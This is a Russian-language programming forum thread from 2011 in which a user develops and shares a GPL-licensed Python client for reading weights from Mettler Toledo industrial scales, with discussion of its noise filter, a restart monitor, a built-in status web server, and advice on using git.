Пример того, как Python на счёт раз работает с сетью. Официальная приблуда от промышленных весов, хоть тресни не принимает данные с весов старого образца. Пришлось допилить свой вариант. Ну, практически, уже работает. )))

 

Автор: fantom 20.1.2011, 16:30

Весы от Metller Toledo - побеждены. Осталось мелкие косячки прибрать - но уже программа работает как надо.
Даже справку мелкую встроил. Может в меню "О разработчиках" свою морду запихнуть? spiteful.gif

 

Автор: worldmind 20.1.2011, 22:27

Это гут, откроешь под свободной лицензией или продавать будешь?

Автор: fantom 21.1.2011, 6:37

Софт продаваться не должен! Сегодня же прямо здесь и выложу. Килобайт этак 20-40... Питон, сётаки. spiteful.gif

Если бы начальство чего-то заплатило, и то не уверен, что был бы смысл закрывать прогу. Наверняка, у кого-нибудь тоже есть подобные проблемы. Мало кто решится расковыривать базу PostgreeSQL, чтобы выяснить внутреннюю структуру передаваемых данных. Кстати, сетевой сканер X-Spider зараза мне неправильно данные выдавал. Надо сбе свой сканер написать. Заготовочку как-то себе делал, когда в ж. д. сети хосты искал. Допилить до 100 потоков - как нефиг делать.

Автор: fantom 21.1.2011, 16:15

Выкладываю архивчег питоновских файлов для весов.
Запускать main.pyw!!!!
Есть там пару безобразных моментов, нет (пока лицензии ГПЛ в.2). Как допилю в более божеский вид - выложу.

В комплекте файл Imit_wes.py - имитирует работу весов. Тестовые, что называется - виртуальные. spiteful.gif

 pyWesi_30.zip ( 52.53 килобайт ) : 118
 

Автор: fantom 21.1.2011, 17:40

Допилил окно помощи, и таки похулиганил - воткнул морду своего лица. Иконки окон поменял.
Дальше, конечно, GPL воткнуть надо.

 pyWesi_33.zip ( 53.42 килобайт ) : 44
 

Автор: worldmind 21.1.2011, 20:10

Выкладывать надо на github, как например делал я со своим набором перловых тестов https://github.com/worldmind, заодно современную систему контроля версий освоишь - git
http://habrahabr.ru/blogs/Git/104198/

Автор: fantom 21.1.2011, 21:11

Не вижу смысла связываться с git. С одной стороны, я видимо, единственный человек, кто шкодит на Питоне в Черняховске. Во-вторых, у меня тощий инет - замучаюсь ждать, когда загрузится страница. Даже от этого форума. Ну и в-третьих, мне быстро надоедае текущая задача. Особенно, когда понятно, что близок финал. Хотя и нередки случаи, когда приходится бросать проект из-за туманных перспектив, нехватки времени, или просто потери мысли - "чего хотел сделать". Зачастую, проще начать заново, чем вспомнить, что нужно сделать. Ну, вот, весы например - сразу начал делать не в MVC, развивать дальше - будет тяжко. Хотя, конечно, я постараюсь привести клиент в божеский вид. Есть идея сделать единый воркспейс для кулькулятора, почтового клиента, удалённого логина и т. д. Но идея на столько объёмна, что здесь и подход совсем иной потребуется. Вплоть до того, что я на гугле завёл рабочий проект по проектированию ИДЕ на Питоне. Меня просто бесит невозможность в венде перемещать кнопки управления окном на заголовке. Вот этот моментик, я таки сделал в этом ИДЕ. )))) Дальше дело стопорнулось в полузародышевом виде, хотя шкода было уже прилично. Ладно, это всё планы. Надо GPL долепить. )))

Автор: fantom 21.1.2011, 22:12

Форум глючит. Почему-то открылось цитирование из другой темы в этом ответе.
Похоже, пора форуму переезжать на другой движок. spiteful.gif

Выкладываю с GPL v.2
Так что, OpenSource сегодня обогатился очередной приблудой. )))


Надо бы дописать процедуру отсечения быстрых колебаний веса. Это повысит надёжность измерения ещё процентов на 15-20%. Ну, и будет уже практически потолок. )

 pyWesi_34_GPL.zip ( 61.76 килобайт ) : 41
 

Автор: fantom 22.1.2011, 0:13

Похоже, это уже близко к финальной версии тулзы.
Исправил пару косяков, кое-где зашлифовал нестыковки.
Таки добавил фильтр быстрых колебаний, что даёт правильность детектирования веса точно, ровно на столько, на сколько это может потребоваться на практике. Здесь главное самому правильно поставить пороговый вес, и пороговое время измерения. Тогда вероятность правильной работы я бы оценил 90-95%.

Ниже скрин программы.

Быстрый фильтр отсекает колебания веса, если это колебание зафиксировано за время меньшее, чем 7% от порога времени измерения, но не менее 20 секунд. Думаю, на практике этого будет достаточно. Так например вагон нагружается удобрениями порядка 40 минут. Реально, вагон туда-сюда передвигается. Поэтому пороговое время я беру 600 секунд (10 минут). 7% от этого времени составит 42 секунды. Что, по моему, вполне достаточно для отсечения случайных колебаний. Имитатор весов настроен на несколько секунд выдать массу в 4 раза больше, чем установившийся максимум на несколько секунд. Эта помеха не прокатывает. spiteful.gif
Если считать, что помеха больше чем 100 кг на вагон действует 2-3 секунды с интервалом 10-15 секунд, то чтобы она была учтена потребуется в общей сложности от 2 до 5 минут. Если учесть, что толчки вагона распределяются по закона Гаусса, то уровень помехи будет зафиксирован где-то 0,7 от максимума помехи. Хотя, тут конечно не факт, и ещё над этим вопросом стоит подумать, так как характер помех для автомобильных весов, и ж. д. весов - очевидно отличается.

 

 pyWesi_37_GPL.zip ( 62.78 килобайт ) : 42
 

Автор: fantom 22.1.2011, 10:18

Доделал монитор. Вызвана необходимость из-за редких странных падений клиента. Теперь клиент весов завалить - надо постараться. Монитор в тихую перезапускает клиент, если нет ответа в течении 15 секунд.

 pyWesi_38_GPL.zip ( 63.84 килобайт ) : 40
 

Автор: fantom 22.1.2011, 16:38

Встроил в клиент веб-сервер. Висит на порту 1751, и каждые 5 секунд выкидывает страницу с состоянием весов. Пока оператор логи не очистит - все логи будут высвечиваться. Соответственно, обновлена справка.
Веб-сервер нужен, чтобы не нагружать выходы весов. Да и информация с них - неперевариваемая.

Кроме того, один пакет графики я не включал в архив, наивно полагая, что он у всех есть. А как он у всех будет, если я сам его написал!!! ))) spiteful.gif Короче, исправляюсь.

 pyWesi_40_GPL.zip.zip ( 117.46 килобайт ) : 37
 

Автор: worldmind 22.1.2011, 22:22

Да тут размещать такой узкоспециализированный пакет не очень эффективно - скорее всего ни одному форумцу он не нужен, а для того чтобы нашли поиском может не хватить описания, может отдельную тему с подробным описанием сделай, хотя понятное дело есть есть желание его распространять и получать патчи и предложения, то надо и git и sourceforge юзать и пакеты для дистров делать

Автор: fantom 23.1.2011, 7:35

Да это дело - до ближашего паука. Ты попробуй погуглить на тему "mettler toledo ind310 программа для просмотра веса на ПК" spiteful.gif Хрен чё есть. А то что есть - в виде com-драйвера за хорошую денюжку. Обломится юношам, которые этот драйвер написали. )))
Строго говоря, встраивать мыльный клиент в программу я уже не намерен. Дальше "АРВИ" эти данные всё-равно никому не нужны. Того, что есть - достаточно.

А вообще, я признаю, что я не самый дисциплинированный программист. Профессиональный спортсмен во мне, по сути не родился. В армии отслужил 9 лет и капитаном благополучно ушёл (вот это был, пожалуй акт осознанной личной и честной воли). Может депутат облдумы из меня получится лучше? )))))

Автор: fantom 7.2.2011, 11:01

Небольшой допил. Автовесы хитрым образом выдают информацию. В результате работы, общий алгоритм получения данных для автовесов даёт результат ноль. Пришлось ввести исключительную ситуацию. Плохо, что обработка зашита намертво, с другой стороны - код Питона - плоский текст. Имеющий руки да допилит. )))

 pyWesi_41_GPL.zip.zip ( 118.27 килобайт ) : 49
 

Автор: Seaman 7.2.2011, 14:16

Цитата
Ты попробуй погуглить на тему "mettler toledo ind310 программа для просмотра веса на ПК" Хрен чё есть.

паук был
теперь есть

Русская версия Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)